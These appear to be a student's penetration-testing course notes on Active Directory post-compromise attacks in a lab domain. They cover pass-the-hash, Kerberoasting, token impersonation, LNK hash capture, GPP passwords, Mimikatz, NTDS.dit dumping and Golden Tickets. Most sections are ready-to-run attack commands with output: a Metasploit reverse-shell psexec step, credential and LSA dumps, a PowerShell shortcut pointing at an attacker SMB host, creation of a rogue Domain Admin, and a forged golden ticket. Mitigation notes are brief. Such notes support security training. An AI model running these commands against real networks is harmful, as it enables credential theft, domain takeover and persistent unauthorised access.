AD - Post-Compromise Attacks

Pass the Hash

crackmapexec

📌 Some commands could not be working since CrackMapExec is no longer mantained -> Jump to NetExec for working commands

➡️ crackmapexec - post-exploitation tool that helps automate assessing the security of large Active Directory networks

CrackMapExec Cheat Sheet 2024 (Commands & Examples) - Stationx

Pass the Password

crackmapexec smb 192.168.31.0/24 -u fcastle -d MARVEL.local -p Password1

Pass the Hash

Use the administrator user's hash from the SAM dump

# NTLMv1 necessary
crackmapexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth

# Dump the SAM
crackmapexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --sam

# Enumerate shares (not connected to)
crackmapexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --shares

# Dump LSA secrets
crackmapexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --lsa

# Use modules
crackmapexec smb -L

crackmapexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy

# Check CME DB
cmedb

hosts
creds
export creds detailed cme_creds

netexec

➡️ netexec

sudo apt install pipx git
pipx ensurepath
pipx uninstall netexec
pipx install git+https://github.com/Pennyw0rth/NetExec

netexec smb 192.168.31.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy

# LSASSY 192.168.31.93 445 THEPUNISHER MARVEL\Administrator 920ae267e048417fcfe00f49ecbd4b33

secretsdump.py

➡️ secretsdump.py from impacket

e.g. of lateral movement Hash Attack

LLMNR -> fcastle hash -> cracked -> sprayed the password -> new login found -> secretsdump logins -> local admin hashes -> respray the network with local accounts

# Password attack
secretsdump.py MARVEL.local/fcastle:'Password1'@spiderman.MARVEL.local
secretsdump.py MARVEL.local/fcastle:'Password1'@thepunisher.MARVEL.local

# Hash attack
secretsdump.py administrator:@spiderman.MARVEL.local -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f

# Check for hashes and clear text passwords (e.g. wdigest)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
frankcastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
peterparker:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

[*] Dumping cached domain logon information (domain/username:hash)
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f935b7d1ace4c1d72bd4fb7889c: (2024-07-15 21:58:30)
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f: (2024-07-28 18:56:22)
MARVEL.LOCAL/pparker:$DCC2$10240#pparker#9f28ff35b303d014c9e85e35ab47d019: (2024-07-28 19:01:19)

e.g. Cracking NTLMv1

echo '7facdc498ed1680c4fd1448319a8c04f' > ntlm.txt

hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt

	7facdc498ed1680c4fd1448319a8c04f:Password1!

For mitigation:

Avoid re-using local admin passwords
Disable guest and administrator accounts
Use Privilege Access Management (PAM)

Kerberoasting

➡️ Kerberoasting is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a SPN (Service Principal Name), focusing on the acquisition of TGS (Ticket Granting Server) tickets issued by the KDC (Key Distribution Center).

GetUserSPNs.py

➡️ GetUserSPNs.py from impacket

sudo GetUserSPNs.py MARVEL.local/fcastle:'Password1' -dc-ip 192.168.31.90 -request

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon	Delegation 
HYDRA-DC/SQLService.MARVEL.local:60111  SQLService  CN=Group Policy Creator Owners,OU=Groups,DC=MARVEL,DC=local  2024-07-15 23:38:40.092417  2024-07-28 20:48:12.180307

[-] CCache file is not found. Skipping...

$krb5tgs$23$*SQLService$MARVEL.LOCAL$MARVEL.local/SQLService*$4dd81eff0870ad344d1eee4aa64e2e7e$da960962a4ecb4aaf3b2b8835173e251537d78af30ac1ed2c464d7983d1a450f51b3d1eb7031adfd93c2b446e46a32d4d3632e6669bb85b1b25ed8ef32a37a54f272616555d3b6dacdb318e018dbf3a6bac8a4254c4c4e43a267abdbbd5ba6710cabad6129db8d723c8c6fbd27e15be1668102e94697fb0ca0bf66fe1b93cc1feec8c00df5338732a7f3e6a7c7a0ba2995af0dcc955a138f1c69d5458908c8f390c4b68d7aa20e2d24dbf3c2615798cf3283faf909cace72e9ccbe74ca5b7b165b55a28141ef3925709ba388af36067bd99e832fa7dc40ae623a8073ad1a7d678037b9f91922301b9313767e92e736996157368e20d67f27964fb2a4336c4234c246ef61945c18d64b5f49638d10b7229ee8fa66bd13f622f8e6a84992b1df1f675e8232df18e39c1b7b9e89e4dd99299ef40eee80c11c32a656c4ce185896c79a51df419d1cf97781cbedbd7048df16db20bc5029e4ad50f69eb067a09eccb93d5ee6f5c539579c7d7120f67a8f92557acd06474ca664b35dbc65f58ff9778370b9aa454298ec8b1c46f16beabe75593a7d370aeb8522eaa21c5b38c46a4c91af4a7b51c91817b4b28bfa3d013bbc46a153d1bc88e025f51bbe641efd0c5c873ff73edc2a89de3a38c3ad80e048bbf901840a4a28affda8bfd10c1a31f4794ae73352c0d8f95a47516079bd45ab16078b27cb7df3a8022aa0e73671b10ebadf0cd1e32ba6225a64122e624305902e7491d422068fe763aa3b53ceba5d4a3a27eaa9e51ed5778301b4804d5525d24516940664701d17f728ae8e039ad6ceda1324e1bd3e18bdc401bf7507705b39c9aedc2389ef50616a2330b00cdb6d6babbc6cbf207cd28b2886e1b9d668b1197ad7b34cc9cc03fb71a7e336a51226062c02ec591085b5dd6ce483799618f139afeb5cc60294f76d632a5344508dc6c133e8a991bb53a84462d0daea9d2b8404306d6cccfde7f5b56c7729c0bf11b0c100998843884efdad3c81e475abab92636a78cc82cf01eabb6f7735cdcdf03344f11b273f07cd2cec194ad238b6f4169c0d13b6c83b1aa91d2137217b583880385d417a24e8cce7dcc0b8d458a1aeeb297a53fae905b332fa1075fe58efc59d7264dbcdae81dad3674790b885e1e093234dbfb22c66f9b44aa19bb7af8d99a1d1b7a70e46fed3fe86d0b703b30037af5c15ca47c8bbc9a3685c4b873e2e22c325f790e9c533540be1bbbb155f68afe4f44646eacf98df3f2cb3e237767f451e700ea540ad3a5c2d14b9dd38b2470a087dfcae87b62e877139da7be443a41e910335d9ab65034d1431f0278135f51d8107a0d3c3ad7776d6ee97a3e9527c6f6e9e52893663e524dcb58ef5242f1a2d9b074a081946e554f416b0e7ba0cd43c666bef7b7af1a542ce0fc8f97028c6cd29cf3cb30d98e3ba8fd0d4fcc26141c8

e.g. Cracking the $krb5tgs$23$* (RC4 encryption) hash

nano krb.txt
# paste the entire $krb5tgs$23$* hash

hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt

	MYpassword123#
	# Password of the SQLService account

For mitigation:

least privilege - do not run Service Accounts as Domain Admin
strong password

Token impersonation

➡️ Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.

Delegate - created for logging into machine or Remote Desktop
Impersonate - non-interactive

📌 Turn on THEPUNISHER (192.168.31.93) and HYDRA-DC (192.168.31.90) VMs, and login to THEPUNISHER.

msfconsole

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.31.93
set smbdomain MARVEL.local
set smbuser fcastle
set smbpass Password1
show targets # proceed with Automatic

run

# meterpreter - load addon
load incognito

# List available tokens
list_tokens -u

    Delegation Tokens Available
    ========================================
    Font Driver Host\UMFD-0
    Font Driver Host\UMFD-1
    Font Driver Host\UMFD-2
    MARVEL\Administrator
    MARVEL\fcastle
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    Window Manager\DWM-1
    Window Manager\DWM-2

    Impersonation Tokens Available
    ========================================
    No tokens available

# Impersonate token
impersonate_token marvel\\fcastle

# Check impersonated user
shell
whoami
# Add another Domain Admin user
net user /add hawkeye Password1@ /domain
net group "Domain Admins" hawkeye /ADD /DOMAIN

# Revert to original token
rev2self

Dump the secrets from the controller using hawkeye user

secretsdump.py MARVEL.local/hawkeye:'Password1@'@hydra-dc.MARVEL.local

For mitigation:

limit user/group token creation permission
account tiering
local admin restriction

LNK File attack

An attacker can place a malicious file in a shared folder, and when triggered, it captures password hashes using a tool like Responder, similar to a watering hole attack where a compromised website delivers malware that can drop such files onto a target's network.

📌 Open Powershell on the THEPUNISHER (192.168.31.93) VM.

The following PowerShell script creates a shortcut (C:\test.lnk) pointing to a remote file (\\192.168.31.131\@test.png - on the attacker VM), setting its icon, description, and a Ctrl+Alt+T hotkey. It can be used for automation or to trick users into accessing a remote resource, potentially leaking credentials via an SMB request.

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\192.168.31.131\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()

rename the test.lnk file into @test.lnk to put it on top of the folder list
copy the file in \\hydra-dc\hackme file share

Run Responder (on Kali VM):

sudo responder -I eth0 -dPv

No just open the \\hydra-dc\hackme share folder in THEPUNISHER VM and check the Responder log for hashes automatically captured.

Automated attack - ff the file share is exposed, use netexec slinky built-in module to create the link/shortcut file on the targeted VM (in all shares with write permissions).

netexec smb 192.168.31.131 -d marvel.local -u fcastle -p Password1 -M slinky -o NAME=test SERVER=192.168.31.90

GPP Attacks - cPassword attacks

➡️ The Group Policy Preferences (GPP) allowed admins to create policies with embedded credentials.

credentials were encrypted and stored in the cPassword field
encryption key was leaked, making it possible to decrypt stored credentials
patched in MS14-025, but previously stored credentials remain vulnerable, so it is still relevant for pentesting

findstr /S /I cpassword \\marvel.local\sysvol\marvel.local\policies\*.xml

For mitigation:

Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
Delete existing GPP xml files in SYSVOL containing passwords.

Good article - Finding Passwords in SYSVOL & Exploiting Group Policy Preferences – Active Directory Security

Credential dumping with Mimikatz

➡️ Mimikatz - a tool that allows the extraction of plaintext passwords, hashes, PIN codes and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

📌 Turn on SPIDERMAN (192.168.31.92) and login with peterparker with the attached hackme file-share.

mkdir -p $HOME/tcm/peh/ad-attacks/mimikats
cd $HOME/tcm/peh/ad-attacks/mimikats
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
# extract zip
python3 -m http.server 80

Open http://192.168.31.131/mimikatz_trunk/x64/ in the SPIDERMAN VM and download all the 4 files inside that directory
Run cmd as admin

cd "C:\Users\peterparker\Downloads"
mimikatz.exe

# Commands
privilege::
privilege::debug

# Attacks
sekurlsa::
             msv  -  Lists LM & NTLM credentials
         wdigest  -  Lists WDigest credentials
        kerberos  -  Lists Kerberos credentials
           tspkg  -  Lists TsPkg credentials
         livessp  -  Lists LiveSSP credentials
         cloudap  -  Lists CloudAp credentials
             ssp  -  Lists SSP credentials
  logonPasswords  -  Lists all available providers credentials
         process  -  Switch (or reinit) to LSASS process  context
        minidump  -  Switch (or reinit) to LSASS minidump context
         bootkey  -  Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials
             pth  -  Pass-the-hash
          krbtgt  -  krbtgt!
     dpapisystem  -  DPAPI_SYSTEM secret
           trust  -  Antisocial
      backupkeys  -  Preferred Backup Master keys
         tickets  -  List Kerberos tickets
           ekeys  -  List Kerberos Encryption Keys
           dpapi  -  List Cached MasterKeys
         credman  -  List Credentials Manager

sekurlsa::logonPasswords

Check for clear-text passwords based on the mounted shared folder for example.
Check for NTLM hashes.
Mimikatz needs obfuscation and/or antivirus bypass to work on protected systems.

📌 Attack strategy for internal pentest

Account compromised
Quick wins:
- Pass the hash
- Secrets dump
- Pass the hash/password
Dig deeper:
- Enumerate (Bloodhound, users, domain admins, sensitive VMs, etc)
- Account access
- Old vulnerabilities
"Think outside the box"
- How can I move laterally until I can move vertically?

📌 Post-Domain Compromise Actions

Once the domain is owned:

Maximize value for the client:
- Repeat the process for verification
- Dump NTDS.dit and crack passwords
- Enumerate shares for sensitive data
Maintain persistence:
- Plan for lost Domain Admin (DA) access
- Create a temporary DA account (remember to delete it)
- Use a Golden Ticket if needed

Dumping NTDS.dit

➡️ NTDS.dit is the Active Directory database file used by Microsoft Windows Domain Controllers (DCs). It stores critical domain information, including:

User and computer accounts
Password hashes
Group memberships and permissions

It is important because:

it contains NTLM & Kerberos password hashes, making it a prime target for attackers
if dumped using tools like Mimikatz or secretsdump.py, attackers can crack hashes and gain Domain Admin access
it enables privilege escalation and persistent access (e.g. Golden Ticket attacks).

secretsdump.py MARVEL.local/hawkeye:'Password1@'@hydra-dc.MARVEL.local -just-dc-ntlm > ntds.txt

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:21a84dbb8f81aa02316606b488a4a9eb:::
MARVEL.local\tstark:1601:aad3b435b51404eeaad3b435b51404ee:35efba6f2e4bff313e474477bb3947b0:::
MARVEL.local\SQLService:1602:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::
MARVEL.local\fcastle:1603:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\pparker:1604:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
bkVKFfXduD:1607:aad3b435b51404eeaad3b435b51404ee:2622b132931c05c7906da9d35e12fbb2:::
hawkeye:1608:aad3b435b51404eeaad3b435b51404ee:43460d636f269c709b20049cee36ae7a:::
HYDRA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:327be301d1b220fcc6612deab852b321:::
THEPUNISHER$:1605:aad3b435b51404eeaad3b435b51404ee:4024a6cb78ffd9195b7f53697994ed32:::
SPIDERMAN$:1606:aad3b435b51404eeaad3b435b51404ee:c8ad84ab1f78981322a0618060c0e82c:::
[*] Cleaning up...

Get only the NT hashes from the response and try to crack them

# ntds.txt
920ae267e048417fcfe00f49ecbd4b33
31d6cfe0d16ae931b73c59d7e0c089c0
21a84dbb8f81aa02316606b488a4a9eb
35efba6f2e4bff313e474477bb3947b0
f4ab68f27303bcb4024650d8fc5f973a
64f12cddaa88057e06a81b54e73b949b
64f12cddaa88057e06a81b54e73b949b
2622b132931c05c7906da9d35e12fbb2
43460d636f269c709b20049cee36ae7a
327be301d1b220fcc6612deab852b321
4024a6cb78ffd9195b7f53697994ed32
c8ad84ab1f78981322a0618060c0e82c

hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt --show > ntds_hashcat.txt

# Check the users cracked hashes
Administrator - 920ae267e048417fcfe00f49ecbd4b33:P@$$w0rd!
Guest - 31d6cfe0d16ae931b73c59d7e0c089c0:
MARVEL.local\SQLService - f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
MARVEL.local\fcastle - 64f12cddaa88057e06a81b54e73b949b:Password1
MARVEL.local\pparker - 64f12cddaa88057e06a81b54e73b949b:Password1
hawkeye - 43460d636f269c709b20049cee36ae7a:Password1@

Golden Ticket

➡️ A Golden Ticket attack is a Kerberos authentication exploit that allows an attacker to generate forged TGTs (Ticket Granting Tickets), granting them persistent and unrestricted access to an Active Directory (AD) environment.

Obtain the KRBTGT Hash – The attacker dumps the KRBTGT account's NTLM hash from the NTDS.dit database on a domain controller.
Forge a TGT – Using Mimikatz, the attacker crafts a fake Kerberos TGT, setting any username, groups, or privileges.
Gain Domain Access – The forged ticket is used (via Pass-the-Ticket attack) to request service tickets (TGS), allowing access to any resource without authentication expiration.
Persistence – The ticket remains valid even if passwords change, as long as the KRBTGT hash is not reset twice.

❗ When KRBTGT (Kerberos Ticket Granting Ticket) account is compromised, the attacker owns the domain.

Pass the Ticket - mimikatz

📌 Turn on THEPUNISHER (192.168.31.93) and HYDRA-DC (192.168.31.90) VMs.

Download Mimikatz on the Domain Controller VM
Run cmd as admin on the HYDRA-DC. Proceed to forging a golden ticket with Mimikatz

cd "C:\Users\fcastle\Downloads\mimikatz_trunk\x64"
mimikatz.exe

# Commands
privilege::debug

lsadump::lsa /inject /name:krbtgt

Get the Domain SID and NTLM hash of the krbtgt account from the output

S-1-5-21-1796002695-2329991732-2223296958
21a84dbb8f81aa02316606b488a4a9eb

Back in Mimikatz, generate the golden ticket

kerberos::golden /User:MyAdministrator /domain:marvel.local /sid:S-1-5-21-1796002695-2329991732-2223296958 /krbtgt:21a84dbb8f81aa02316606b488a4a9eb /id:500 /ptt

# id:500 - Administrator account
# ptt - pass the ticket into the session

The attacker can use the forged ticket to access Kerberos-integrated resources. Since the TGT is signed and encrypted with the legitimate KRBTGT password hash, domain controllers recognize it as valid authentication. As a result, the domain controller issues Ticket Granting Service (TGS) tickets based on the forged TGT.

To open a session with the generated golden ticket:

misc::cmd

# In the new CMD, run privileged commands
dir \\THEPUNISHER\c$

Download and use psexec.exe to run attacks against other computers or get a remote shell on them

cd "C:\Users\tstark\Downloads\PSTools>"
PsExec.exe \\THEPUNISHER cmd.exe

hostname

Impacket from the Kali VM can be used too for the Pass the Ticket attack using secretdump.py , lookupsid.py, ticketer.py, psexec.py.

Golden Ticket Attack Explained - MITRE ATT&CK T1558.001

PreviousAD - Post-Compromise Enumeration NextAD - Additional Attacks

Last updated 9 months ago

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